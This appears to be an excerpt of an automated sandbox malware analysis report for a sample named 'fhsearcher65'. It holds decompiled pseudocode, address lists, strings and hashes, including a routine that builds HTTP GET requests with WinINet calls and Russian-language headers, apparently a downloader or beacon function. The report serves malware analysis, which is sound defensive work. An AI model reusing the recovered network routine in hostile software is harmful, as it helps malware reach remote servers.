						_t377 = _t376 | 0xffffffff;
						__eflags = _t377;
					} else {
						_t376 = E1000F670(_t359, 0x2f, _t295);
						_t401 = _t401 + 0xc;
						if(_t376 == 0) {
							goto L23;
						} else {
							_t377 = _t376 - _t359;
						}
					}
					_v100 = 0;
					_v84 = 0;
					_t321 =  <  ? _t295 : _t377;
					_v80 = 0xf;
					_push( <  ? _t295 : _t377);
					_t170 =  >=  ? _v48 :  &_v48;
					_push( >=  ? _v48 :  &_v48);
					_v100 = 0;
					L49();
					_v8 = 1;
					_t171 = _v32;
					_t378 =  <  ? _t171 : _t377;
					_t324 =  >=  ? _v48 :  &_v48;
					_t172 = _t171 - ( <  ? _t171 : _t377);
					_v32 = _t171 - ( <  ? _t171 : _t377);
					E10005BC0( >=  ? _v48 :  &_v48,  &(( >=  ? _v48 :  &_v48)[ <  ? _t171 : _t377]), _t171 - ( <  ? _t171 : _t377) + 1);
					_t296 = _v112;
					_t360 = 0;
					_v104 = 0;
					E10006419(_t296 + 0x44, 0x104, _v76, 0x103);
					_t403 = _t401 + 0x1c;
					asm("sbb eax, eax");
					_t379 = InternetOpenA( *(_t296 + 0xc),  ~( *(_t296 + 0x38)) & 0x00000003,  *(_t296 + 0x38), 0, 0);
					_v108 = _t379;
					if(_t379 == 0) {
						L36:
						_t347 = _v80;
						_t298 = 0 | _t360 > 0x00000000;
						if(_t347 < 0x10) {
							L40:
							_t348 = _v28;
							_v84 = 0;
							_v80 = 0xf;
							_v100 = 0;
							if(_t348 < 0x10) {
								L44:
								 *[fs:0x0] = _v16;
								_pop(_t361);
								_pop(_t380);
								_pop(_t299);
								return E100031FF(_t298, _t299, _v24 ^ _t396, _t348, _t361, _t380);
							} else {
								_t329 = _v48;
								_t348 = _t348 + 1;
								_t184 = _t329;
								if(_t348 < 0x1000) {
									L43:
									_push(_t348);
									E10003216(_t329);
									goto L44;
								} else {
									_t329 =  *(_t329 - 4);
									_t348 = _t348 + 0x23;
									if(_t184 - _t329 + 0xfffffffc > 0x1f) {
										goto L47;
									} else {
										goto L43;
									}
								}
							}
						} else {
							_t334 = _v100;
							_t352 = _t347 + 1;
							_t246 = _t334;
							if(_t352 < 0x1000) {
								L39:
								_push(_t352);
								E10003216(_t334);
								_t403 = _t403 + 8;
								goto L40;
							} else {
								_t329 =  *(_t334 - 4);
								_t348 = _t352 + 0x23;
								if(_t246 - _t329 + 0xfffffffc > 0x1f) {
									goto L47;
								} else {
									goto L39;
								}
							}
						}
					} else {
						_v76 = 1;
						InternetSetOptionA(_t379, 0x41,  &_v76, 4);
						_t253 =  >=  ? _v100 :  &_v100;
						_t254 = InternetConnectA(_t379,  >=  ? _v100 :  &_v100, 0x50,  *(_t296 + 0x3c),  *(_t296 + 0x40), 3, 0, 1);
						_t298 = InternetCloseHandle;
						_v116 = _t254;
						if(_t254 == 0) {
							L35:
							InternetCloseHandle(_t379);
							goto L36;
						} else {
							_t336 =  >=  ? _v48 :  &_v48;
							_t256 = HttpOpenRequestA(_t254, "GET",  >=  ? _v48 :  &_v48, 0, 0, 0, 0x80400000, 1); // executed
							_t360 = _t256;
							if(_t360 == 0) {
								L34:
								InternetCloseHandle(_v116);
								_t360 = _v104;
								goto L35;
							} else {
								_push(0x7d);
								_v72 = 0;
								_push("Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1");
								_v56 = 0;
								_v52 = 0xf;
								_v72 = 0;
								L49();
								_v8 = 2;
								_t379 = HttpAddRequestHeadersA;
								_t259 =  >=  ? _v72 :  &_v72;
								HttpAddRequestHeadersA(_t360,  >=  ? _v72 :  &_v72, _v56, 0x20000000);
								_push(0x28);
								_push("Accept-Language: ru-RU,ru;q=0.9,en;q=0.8");
								L49();
								_t262 =  >=  ? _v72 :  &_v72;
								HttpAddRequestHeadersA(_t360,  >=  ? _v72 :  &_v72, _v56, 0x20000000);
								_push(0x32);
								_push("Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1");
								L49();
								_t265 =  >=  ? _v72 :  &_v72;
								HttpAddRequestHeadersA(_t360,  >=  ? _v72 :  &_v72, _v56, 0x20000000);
								_push(0x37);
								_push("Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0");
								L49();
								_t268 =  >=  ? _v72 :  &_v72;
								HttpAddRequestHeadersA(_t360,  >=  ? _v72 :  &_v72, _v56, 0x20000000);
								_v8 = 1;
								_t353 = _v52;
								if(_t353 < 0x10) {
									L31:
									if(HttpSendRequestA(_t360, 0, 0, 0, 0) != 0) {
										_push(_t360); // executed
										_t272 = E10001010(_v112); // executed
										_v104 = _t272;
									}
									InternetCloseHandle(_t360);
									_t379 = _v108;
									goto L34;
								} else {
									_t342 = _v72;
									_t354 = _t353 + 1;
									_t273 = _t342;
									if(_t354 < 0x1000) {
										L30:
										_push(_t354);
										E10003216(_t342);
										_t403 = _t403 + 8;
										goto L31;
									} else {
										_t329 =  *(_t342 - 4);
										_t348 = _t354 + 0x23;
										if(_t273 - _t329 + 0xfffffffc > 0x1f) {
											goto L46;
										} else {
											goto L30;
										}
									}
								}
							}
						}
					}
				} else {
					_t18 = _t295 - 6; // -6
					_v104 = _t18 + _t319;
					_t376 = E1000F670(_t319, 0x68, _t18 + _t319 - _t319);
					_t401 = _t401 + 0xc;
					if(_t376 != 0) {
						asm("o16 nop [eax+eax]");
						do {
							_t329 = _t376;
							_t348 = "http://";
							_t360 = 3;
							if( *_t329 ==  *_t348) {
								_t329 =  &(_t329[1]);
								_t348 = _t348 + 4;
								_t360 = 0xffffffffffffffff;
							}
							_t284 =  *_t329;
							if(_t284 !=  *_t348) {
								L13:
								asm("sbb eax, eax");
								_t285 = _t284 | 0x00000001;
								__eflags = _t285;
							} else {
								_t284 = _t329[0];
								if(_t284 !=  *(_t348 + 1)) {
									goto L13;
								} else {
									_t284 = _t329[0];
									if(_t284 !=  *((intOrPtr*)(_t348 + 2))) {
										goto L13;
									} else {
										if(_t360 == 0xffffffff) {
											L12:
											_t285 = 0;
										} else {
											_t284 = _t329[0];
											if(_t284 !=  *((intOrPtr*)(_t348 + 3))) {
												goto L13;
											} else {
												goto L12;
											}
										}
									}
								}
							}
							if(_t285 == 0) {
								_t376 = _t376 - _v108;
								__eflags = _t376 - 0xffffffff;
								if(_t376 == 0xffffffff) {
									goto L20;
								} else {
									__eflags = _t295 - _t376;
									if(__eflags < 0) {
										L48();
										L46:
										E1000633C(_t298, _t329, _t348, __eflags);
										L47:
										E1000633C(_t298, _t329, _t348, __eflags);
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										_push("invalid string position");
										E100031DF(_t298, _t348, _t360, _t379);
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										_push(_t396);
										_t397 = _t403;
										_t405 = _t403 - 0xc;
										_t190 = _v172;
										_push(_t298);
										_t300 = _v168;
										_push(_t379);
										_t381 = _t329;
										_v188 = _v172;
										_push(_t360);
										_t330 = _t381[5];
										_v192 = _t330;
										__eflags = _t300 - _t330;
										if(_t300 > _t330) {
											__eflags = _t300 - 0x7fffffff;
											if(_t300 > 0x7fffffff) {
												L72:
												E10001CA0(_t330);
												goto L73;
											} else {
												_t372 = _t300 | 0x0000000f;
												__eflags = _t372 - 0x7fffffff;
												if(__eflags > 0) {
													L59:
													_t360 = 0x7fffffff;
													_t229 = 0x80000023;
													goto L60;
												} else {
													_t348 = _t330 >> 1;
													__eflags = _t330 - 0x7fffffff - _t348;
													if(__eflags > 0) {
														goto L59;
													} else {
														_t243 = _t348 + _t330;
														__eflags = _t372 - _t243;
														_t360 =  <  ? _t243 : _t372;
														_t330 = _t360 + 1;
														__eflags = _t330 - 0x1000;
														if(_t330 < 0x1000) {
															__eflags = _t330;
															if(__eflags == 0) {
																_t233 = 0;
																__eflags = 0;
															} else {
																_push(_t330);
																_t233 = E10003229(_t300, _t360, _t381, __eflags);
																_t405 = _t405 + 4;
															}
															goto L65;
														} else {
															_t229 = _t330 + 0x23;
															__eflags = _t229 - _t330;
															if(__eflags <= 0) {
																L73:
																E10001DE0(_t300);
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																_push(_t397);
																_t398 = _t405;
																_t406 = _t405 - 0xc;
																_t193 = _v196;
																_t349 = _v200;
																_push(_t300);
																_push(_t381);
																_push(_t360);
																_t362 = _t330;
																_v216 = _t349;
																_v212 = _t193;
																_t331 =  *(_t362 + 0x14);
																_v220 = _t331;
																__eflags = _t193 - _t331;
																if(_t193 > _t331) {
																	__eflags = _t193 - 0x7ffffffe;
																	if(__eflags > 0) {
																		L98:
																		E10001CA0(_t331);
																		goto L99;
																	} else {
																		_t389 = _t193 | 0x00000007;
																		__eflags = _t389 - 0x7ffffffe;
																		if(_t389 <= 0x7ffffffe) {
																			_t349 = _t331 >> 1;
																			__eflags = _t331 - 0x7ffffffe - _t349;
																			if(_t331 <= 0x7ffffffe - _t349) {
																				_t211 = _t349 + _t331;
																				__eflags = _t389 - _t211;
																				_t381 =  <  ? _t211 : _t389;
																				_t212 =  &(_t381[0]);
																				__eflags = _t212 - 0x7fffffff;
																				if(_t212 > 0x7fffffff) {
																					goto L97;
																				} else {
																					_t214 = _t212 + _t212;
																					__eflags = _t214 - 0x1000;
																					if(_t214 < 0x1000) {
																						__eflags = _t214;
																						if(__eflags == 0) {
																							_t300 = 0;
																							__eflags = 0;
																						} else {
																							_push(_t214);
																							_t224 = E10003229(_t300, _t362, _t381, __eflags);
																							_t406 = _t406 + 4;
																							_t300 = _t224;
																						}
																						goto L91;
																					} else {
																						goto L85;
																					}
																				}
																			} else {
																				_t381 = 0x7ffffffe;
																				_t214 = 0xfffffffe;
																				goto L85;
																			}
																		} else {
																			_t381 = 0x7ffffffe;
																			_t214 = 0xfffffffe;
																			L85:
																			_t149 = _t214 + 0x23; // 0x100000021
																			_t331 = _t149;
																			__eflags = _t331 - _t214;
																			if(__eflags <= 0) {
																				L97:
																				E10001DE0(_t300);
																				goto L98;
																			} else {
																				_push(_t331);
																				_t225 = E10003229(_t300, _t362, _t381, __eflags);
																				_t406 = _t406 + 4;
																				__eflags = _t225;
																				if(__eflags == 0) {
																					L99:
																					E1000633C(_t300, _t331, _t349, __eflags);
																					asm("int3");
																					asm("int3");
																					asm("int3");
																					asm("int3");
																					asm("int3");
																					asm("int3");
																					asm("int3");
																					asm("int3");
																					asm("int3");
																					asm("int3");
																					asm("int3");
																					asm("int3");
																					_push(_t398);
																					_push(_t381);
																					_t382 = _v224;
																					_push(_t362);
																					_t363 = _t349;
																					__eflags = _t382;
																					if(_t382 != 0) {
																						__eflags = _t331;
																						if(__eflags != 0) {
																							_push(_t300);
																							_t301 = _v8;
																							__eflags = _t301;
																							if(_t301 == 0) {
																								L107:
																								E10004730(_t363, _t331, 0, _t363);
																								__eflags = _t301;
																								if(__eflags != 0) {
																									__eflags = _t363 - _t382;
																									if(__eflags >= 0) {
																										goto L109;
																									} else {
																										 *((intOrPtr*)(E10006406(__eflags))) = 0x22;
																										E1000632C();
																										return 0x22;
																									}
																								} else {
																									 *((intOrPtr*)(E10006406(__eflags))) = 0x16;
																									E1000632C();
																									L109:
																									return 0x16;
																								}
																							} else {
																								__eflags = _t363 - _t382;
																								if(_t363 < _t382) {
																									goto L107;
																								} else {
																									E10005BC0(_t331, _t301, _t382);
																									__eflags = 0;
																									return 0;
																								}
																							}
																						} else {
																							 *((intOrPtr*)(E10006406(__eflags))) = 0x16;
																							E1000632C();
																							return 0x16;
																						}
																					} else {
																						__eflags = 0;
																						return 0;
																					}
																				} else {
																					_t150 = _t225 + 0x23; // 0x23
																					_t300 = _t150 & 0xffffffe0;
																					 *(_t300 - 4) = _t225;
																					L91:
																					_t215 = _v16;
																					 *(_t362 + 0x14) = _t381;
																					 *(_t362 + 0x10) = _t215;
																					_t381 = _t215 + _t215;
																					E10005BC0(_t300, _v20, _t381);
																					_t406 = _t406 + 0xc;
																					 *((short*)(_t381 + _t300)) = 0;
																					_t218 = _v24;
																					__eflags = _t218 - 8;
																					if(_t218 < 8) {
																						L96:
																						 *_t362 = _t300;
																						return _t362;
																					} else {
																						_t332 = 2 + _t218 * 2;
																						_t220 =  *_t362;
																						__eflags = _t332 - 0x1000;
																						if(_t332 < 0x1000) {
																							L95:
																							_push(_t332);
																							E10003216(_t220);
																							goto L96;
																						} else {
																							_t349 =  *(_t220 - 4);
																							_t331 = _t332 + 0x23;
																							__eflags = _t220 - _t349 + 0xfffffffc - 0x1f;
																							if(__eflags > 0) {
																								goto L99;
																							} else {
																								_t220 = _t349;
																								goto L95;
																							}
																						}
																					}
																				}
																			}
																		}
																	}
																} else {
																	_t307 = _t362;
																	__eflags = _t331 - 8;
																	if(_t331 >= 8) {
																		_t307 =  *_t362;
																	}
																	_t391 = _t193 + _t193;
																	 *(_t362 + 0x10) = _t193;
																	E10005BC0(_t307, _t349, _t391);
																	__eflags = 0;
																	 *((short*)(_t391 + _t307)) = 0;
																	return _t362;
																}
															} else {
																L60:
																_push(_t229);
																_t330 = E10003229(_t300, _t360, _t381, __eflags);
																_t405 = _t405 + 4;
																__eflags = _t330;
																if(__eflags == 0) {
																	L71:
																	E1000633C(_t300, _t330, _t348, __eflags);
																	goto L72;
																} else {
																	_t127 = _t330 + 0x23; // 0x23
																	_t233 = _t127 & 0xffffffe0;
																	 *(_t233 - 4) = _t330;
																	L65:
																	_v12 = _t233;
																	_t381[4] = _t300;
																	_t381[5] = _t360;
																	E10005BC0(_t233, _v16, _t300);
																	_t360 = _v12;
																	_t405 = _t405 + 0xc;
																	_t235 = _v20;
																	 *((char*)(_t360 + _t300)) = 0;
																	__eflags = _t235 - 0x10;
																	if(_t235 < 0x10) {
																		L70:
																		 *_t381 = _t360;
																		return _t381;
																	} else {
																		_t333 = _t235 + 1;
																		_t237 =  *_t381;
																		__eflags = _t333 - 0x1000;
																		if(_t333 < 0x1000) {
																			L69:
																			_push(_t333);
																			E10003216(_t237);
																			goto L70;
																		} else {
																			_t348 =  *(_t237 - 4);
																			_t330 = _t333 + 0x23;
																			__eflags = _t237 - _t348 + 0xfffffffc - 0x1f;
																			if(__eflags > 0) {
																				goto L71;
																			} else {
																				_t237 = _t348;
																				goto L69;
																			}
																		}
																	}
																}
															}
														}
													}
												}
											}
										} else {
											_t374 = _t381;
											__eflags = _t330 - 0x10;
											if(_t330 >= 0x10) {
												_t374 =  *_t381;
											}
											_t381[4] = _t300;
											E10005BC0(_t374, _t190, _t300);
											 *((char*)(_t374 + _t300)) = 0;
											return _t381;
										}
									} else {
										_t287 = _t295 - _t376;
										__eflags = _t287 - 7;
										_t356 =  <  ? _t287 : 7;
										__eflags = _v28 - 0x10;
										_t344 =  >=  ? _v48 :  &_v48;
										_t311 = _t295 - 7;
										_t345 =  &(( >=  ? _v48 :  &_v48)[_t376]);
										_v32 = _t311;
										__eflags = _t311 - _t376 + 1;
										E10005BC0( &(( >=  ? _v48 :  &_v48)[_t376]),  &(( &(( >=  ? _v48 :  &_v48)[_t376]))[ <  ? _t287 : 7]), _t311 - _t376 + 1);
										_t295 = _v32;
										_t401 = _t401 + 0xc;
										goto L20;
									}
								}
							} else {
								goto L15;
							}
							goto L112;
							L15:
							_t376 = E1000F670(_t376 + 1, 0x68, _v104 - _t376 + 1);
							_t401 = _t401 + 0xc;
						} while (_t376 != 0);
					}
					goto L20;
				}
				L112:
			}

0x100014f3
0x100014f5
0x10001500
0x10001501
0x10001504
0x10001509
0x1000150b
0x1000150f
0x10001511
0x10001515
0x1000151b
0x1000151e
0x10001521
0x10001523
0x1000152a
0x1000152d
0x10001534
0x1000153b
0x1000153e
0x10001542
0x10001542
0x10001544
0x10001545
0x1000154b
0x1000154c
0x10001550
0x10001555
0x10001563
0x10001566
0x1000156a
0x10001570
0x10001649
0x10001650
0x10001656
0x1000166e
0x1000166e
0x1000166e
0x10001658
0x10001661
0x10001663
0x10001668
0x00000000
0x1000166a
0x1000166a
0x1000166a
0x10001668
0x10001673
0x1000167c
0x10001683
0x10001686
0x10001694
0x10001695
0x1000169c
0x1000169d
0x100016a1
0x100016a6
0x100016ad
0x100016b2
0x100016b9
0x100016bd
0x100016bf
0x100016c9
0x100016ce
0x100016d4
0x100016d6
0x100016ea
0x100016f2
0x100016fa
0x10001709
0x1000170b
0x10001710
0x100018ac
0x100018ac
0x100018b3
0x100018b9
0x100018e3
0x100018e3
0x100018e6
0x100018ed
0x100018f4
0x100018fb
0x10001925
0x1000192a
0x10001932
0x10001933
0x10001934
0x10001942
0x100018fd
0x100018fd
0x10001900
0x10001901
0x10001909
0x1000191b
0x1000191b
0x1000191d
0x00000000
0x1000190b
0x1000190b
0x1000190e
0x10001919
0x00000000
0x00000000
0x00000000
0x00000000
0x10001919
0x10001909
0x100018bb
0x100018bb
0x100018be
0x100018bf
0x100018c7
0x100018d9
0x100018d9
0x100018db
0x100018e0
0x00000000
0x100018c9
0x100018c9
0x100018cc
0x100018d7
0x00000000
0x00000000
0x00000000
0x00000000
0x100018d7
0x100018c7
0x10001716
0x1000171b
0x10001726
0x10001735
0x10001746
0x1000174c
0x10001752
0x10001757
0x100018a9
0x100018aa
0x00000000
0x1000175d
0x10001766
0x10001779
0x1000177f
0x10001783
0x100018a1
0x100018a4
0x100018a6
0x00000000
0x10001789
0x10001789
0x1000178b
0x10001795
0x1000179a
0x100017a1
0x100017a8
0x100017ac
0x100017b1
0x100017bc
0x100017c2
0x100017d0
0x100017d2
0x100017d4
0x100017dc
0x100017f0
0x100017f6
0x100017f8
0x100017fa
0x10001802
0x10001816
0x1000181c
0x1000181e
0x10001820
0x10001828
0x1000183c
0x10001842
0x10001844
0x10001848
0x1000184e
0x1000187c
0x1000188d
0x10001892
0x10001893
0x10001898
0x10001898
0x1000189c
0x1000189e
0x00000000
0x10001850
0x10001850
0x10001853
0x10001854
0x1000185c
0x10001872
0x10001872
0x10001874
0x10001879
0x00000000
0x1000185e
0x1000185e
0x10001861
0x1000186c
0x00000000
0x00000000
0x00000000
0x00000000
0x1000186c
0x1000185c
0x1000184e
0x10001783
0x10001757
0x10001576
0x10001576
0x1000157b
0x10001589
0x1000158b
0x10001590
0x10001596
0x100015a0
0x100015a0
0x100015a2
0x100015a7
0x100015b0
0x100015b2
0x100015b5
0x100015b8
0x100015b8
0x100015bb
0x100015bf
0x100015e2
0x100015e2
0x100015e4
0x100015e4
0x100015c1
0x100015c1
0x100015c7
0x00000000
0x100015c9
0x100015c9
0x100015cf
0x00000000
0x100015d1
0x100015d4
0x100015de
0x100015de
0x100015d6
0x100015d6
0x100015dc
0x00000000
0x00000000
0x00000000
0x00000000
0x100015dc
0x100015d4
0x100015cf
0x100015c7
0x100015e9
0x10001605
0x10001608
0x1000160b
0x00000000
0x1000160d
0x1000160d
0x1000160f
0x10001945
0x1000194a
0x1000194a
0x1000194f
0x1000194f
0x10001954
0x10001955
0x10001956
0x10001957
0x10001958
0x10001959
0x1000195a
0x1000195b
0x1000195c
0x1000195d
0x1000195e
0x1000195f
0x10001960
0x10001965
0x1000196a
0x1000196b
0x1000196c
0x1000196d
0x1000196e
0x1000196f
0x10001970
0x10001971
0x10001973
0x10001976
0x10001979
0x1000197a
0x1000197d
0x1000197e
0x10001980
0x10001983
0x10001984
0x10001987
0x1000198a
0x1000198c
0x100019b4
0x100019ba
0x10001a91
0x10001a91
0x00000000
0x100019c0
0x100019c2
0x100019c5
0x100019cb
0x100019fc
0x100019fc
0x10001a01
0x00000000
0x100019cd
0x100019d4
0x100019d8
0x100019da
0x00000000
0x100019dc
0x100019dc
0x100019df
0x100019e1
0x100019e4
0x100019e7
0x100019ed
0x10001a20
0x10001a22
0x10001a2f
0x10001a2f
0x10001a24
0x10001a24
0x10001a25
0x10001a2a
0x10001a2a
0x00000000
0x100019ef
0x100019ef
0x100019f2
0x100019f4
0x10001a96
0x10001a96
0x10001a9b
0x10001a9c
0x10001a9d
0x10001a9e
0x10001a9f
0x10001aa0
0x10001aa1
0x10001aa3
0x10001aa6
0x10001aa9
0x10001aac
0x10001aad
0x10001aae
0x10001aaf
0x10001ab1
0x10001ab4
0x10001ab7
0x10001aba
0x10001abd
0x10001abf
0x10001aec
0x10001af1
0x10001bea
0x10001bea
0x00000000
0x10001af7
0x10001af9
0x10001afc
0x10001b02
0x10001b17
0x10001b1b
0x10001b1d
0x10001b2b
0x10001b2e
0x10001b30
0x10001b33
0x10001b36
0x10001b3b
0x00000000
0x10001b41
0x10001b41
0x10001b43
0x10001b48
0x10001b71
0x10001b73
0x10001b82
0x10001b82
0x10001b75
0x10001b75
0x10001b76
0x10001b7b
0x10001b7e
0x10001b7e
0x00000000
0x00000000
0x00000000
0x00000000
0x10001b48
0x10001b1f
0x10001b1f
0x10001b24
0x00000000
0x10001b24
0x10001b04
0x10001b04
0x10001b09
0x10001b4a
0x10001b4a
0x10001b4a
0x10001b4d
0x10001b4f
0x10001be5
0x10001be5
0x00000000
0x10001b55
0x10001b55
0x10001b56
0x10001b5b
0x10001b5e
0x10001b60
0x10001bef
0x10001bef
0x10001bf4
0x10001bf5
0x10001bf6
0x10001bf7
0x10001bf8
0x10001bf9
0x10001bfa
0x10001bfb
0x10001bfc
0x10001bfd
0x10001bfe
0x10001bff
0x10001c00
0x10001c03
0x10001c04
0x10001c07
0x10001c08
0x10001c0a
0x10001c0c
0x10001c14
0x10001c16
0x10001c31
0x10001c32
0x10001c35
0x10001c37
0x10001c4f
0x10001c53
0x10001c5b
0x10001c5d
0x10001c79
0x10001c7b
0x00000000
0x10001c7d
0x10001c82
0x10001c88
0x10001c96
0x10001c96
0x10001c5f
0x10001c64
0x10001c6a
0x10001c6f
0x10001c78
0x10001c78
0x10001c39
0x10001c39
0x10001c3b
0x00000000
0x10001c3d
0x10001c40
0x10001c48
0x10001c4e
0x10001c4e
0x10001c3b
0x10001c18
0x10001c1d
0x10001c23
0x10001c30
0x10001c30
0x10001c0e
0x10001c0f
0x10001c13
0x10001c13
0x10001b66
0x10001b66
0x10001b69
0x10001b6c
0x10001b84
0x10001b84
0x10001b87
0x10001b8a
0x10001b8d
0x10001b95
0x10001b9c
0x10001b9f
0x10001ba3
0x10001ba6
0x10001ba9
0x10001bd8
0x10001bd8
0x10001be2
0x10001bab
0x10001bab
0x10001bb2
0x10001bb4
0x10001bba
0x10001bce
0x10001bce
0x10001bd0
0x00000000
0x10001bbc
0x10001bbc
0x10001bbf
0x10001bc7
0x10001bca
0x00000000
0x10001bcc
0x10001bcc
0x00000000
0x10001bcc
0x10001bca
0x10001bba
0x10001ba9
0x10001b60
0x10001b4f
0x10001b02
0x10001ac1
0x10001ac1
0x10001ac3
0x10001ac6
0x10001ac8
0x10001ac8
0x10001aca
0x10001acd
0x10001ad3
0x10001adb
0x10001add
0x10001ae9
0x10001ae9
0x100019fa
0x10001a06
0x10001a06
0x10001a0c
0x10001a0e
0x10001a11
0x10001a13
0x10001a8c
0x10001a8c
0x00000000
0x10001a15
0x10001a15
0x10001a18
0x10001a1b
0x10001a31
0x10001a35
0x10001a39
0x10001a3c
0x10001a3f
0x10001a44
0x10001a47
0x10001a4a
0x10001a4d
0x10001a51
0x10001a54
0x10001a7f
0x10001a7f
0x10001a89
0x10001a56
0x10001a56
0x10001a59
0x10001a5b
0x10001a61
0x10001a75
0x10001a75
0x10001a77
0x00000000
0x10001a63
0x10001a63
0x10001a66
0x10001a6e
0x10001a71
0x00000000
0x10001a73
0x10001a73
0x00000000
0x10001a73
0x10001a71
0x10001a61
0x10001a54
0x10001a13
0x100019f4
0x100019ed
0x100019da
0x100019cb
0x1000198e
0x1000198e
0x10001990
0x10001993
0x10001995
0x10001995
0x1000199a
0x1000199d
0x100019a5
0x100019b1
0x100019b1
0x10001615
0x1000161a
0x10001621
0x10001623
0x10001626
0x1000162a
0x1000162e
0x10001630
0x10001632
0x10001637
0x1000163e
0x10001643
0x10001646
0x00000000
0x10001646
0x1000160f
0x00000000
0x00000000
0x00000000
0x00000000
0x100015eb
0x100015fa
0x100015fc
0x100015ff
0x10001603
0x00000000
0x10001590
0x00000000

Strings

pYet, xrefs: 100016CE, 1000188F
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8, xrefs: 100017D4
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1, xrefs: 10001795
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1, xrefs: 100017FA
GET, xrefs: 10001773
http://, xrefs: 100015A2
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0, xrefs: 10001820

Memory Dump Source

Source File: 00000002.00000002.340481351.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.340475295.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340502099.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340514193.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340522214.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_fhsearcher65.jbxd

Similarity

API ID:
String ID: Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1$Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0$Accept-Language: ru-RU,ru;q=0.9,en;q=0.8$Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1$GET$http://$pYet
API String ID: 0-2781307108
Opcode ID: d3ed00dd38609a7697d672608ec4d1622f700f7468701cf831d89b042d405c33
Instruction ID: 3e25db80656cceb02cc8fd81e0400d570f0dd4959431d348fe5b88a2f33083bb
Opcode Fuzzy Hash: d3ed00dd38609a7697d672608ec4d1622f700f7468701cf831d89b042d405c33
Instruction Fuzzy Hash: 86D1C231E00208AFEB11CFA8CC95FEEBBB9EF45390F644118F515AB295C775AA45CB60

Uniqueness

Uniqueness Score: -1.00%

Function 0040F211 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 51
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 91%

			E0040F211(_Unknown_base(*)()* __edi, void* __esi) {
				struct HINSTANCE__* _t2;
				void* _t4;
				void* _t7;
				void* _t10;
				struct HINSTANCE__* _t14;

				_t11 = __edi;
				_push(__edi);
				InitializeCriticalSectionAndSpinCount(0x4504fc, 0xfa0);
				_t2 = GetModuleHandleW(L"api-ms-win-core-synch-l1-2-0.dll"); // executed
				_t14 = _t2;
				if(_t14 != 0) {
					L2:
					_t11 = GetProcAddress(_t14, "SleepConditionVariableCS");
					_t4 = GetProcAddress(_t14, "WakeAllConditionVariable");
					if(_t11 == 0 || _t4 == 0) {
						_t4 = CreateEventW(0, 1, 0, 0);
						 *0x4504f8 = _t4;
						if(_t4 != 0) {
							goto L5;
						} else {
							goto L7;
						}
					} else {
						 *0x450514 = _t11;
						 *0x450518 = _t4;
						L5:
						return _t4;
					}
				} else {
					_t14 = GetModuleHandleW(L"kernel32.dll");
					if(_t14 == 0) {
						L7:
						E0040F9A5(_t10, _t11, _t14, 7);
						asm("int3");
						DeleteCriticalSection(0x4504fc);
						_t7 =  *0x4504f8; // 0x0
						if(_t7 != 0) {
							return CloseHandle(_t7);
						}
						return _t7;
					} else {
						goto L2;
					}
				}
			}

0x0040f211
0x0040f212
0x0040f21d
0x0040f228
0x0040f22e
0x0040f232
0x0040f245
0x0040f257
0x0040f259
0x0040f261
0x0040f27c
0x0040f282
0x0040f289
0x00000000
0x00000000
0x00000000
0x00000000
0x0040f267
0x0040f267
0x0040f26d
0x0040f272
0x0040f274
0x0040f274
0x0040f234
0x0040f23f
0x0040f243
0x0040f28b
0x0040f28d
0x0040f292
0x0040f298
0x0040f29e
0x0040f2a5
0x00000000
0x0040f2a8
0x0040f2ae
0x00000000
0x00000000
0x00000000
0x0040f243

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(004504FC,00000FA0,?,?,0040F1EF), ref: 0040F21D
GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,0040F1EF), ref: 0040F228
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,0040F1EF), ref: 0040F239
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 0040F24B
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 0040F259
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,0040F1EF), ref: 0040F27C
DeleteCriticalSection.KERNEL32(004504FC,00000007,?,?,0040F1EF), ref: 0040F298
CloseHandle.KERNEL32(00000000,?,?,0040F1EF), ref: 0040F2A8

Strings

kernel32.dll, xrefs: 0040F234
SleepConditionVariableCS, xrefs: 0040F245
api-ms-win-core-synch-l1-2-0.dll, xrefs: 0040F223
WakeAllConditionVariable, xrefs: 0040F251

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
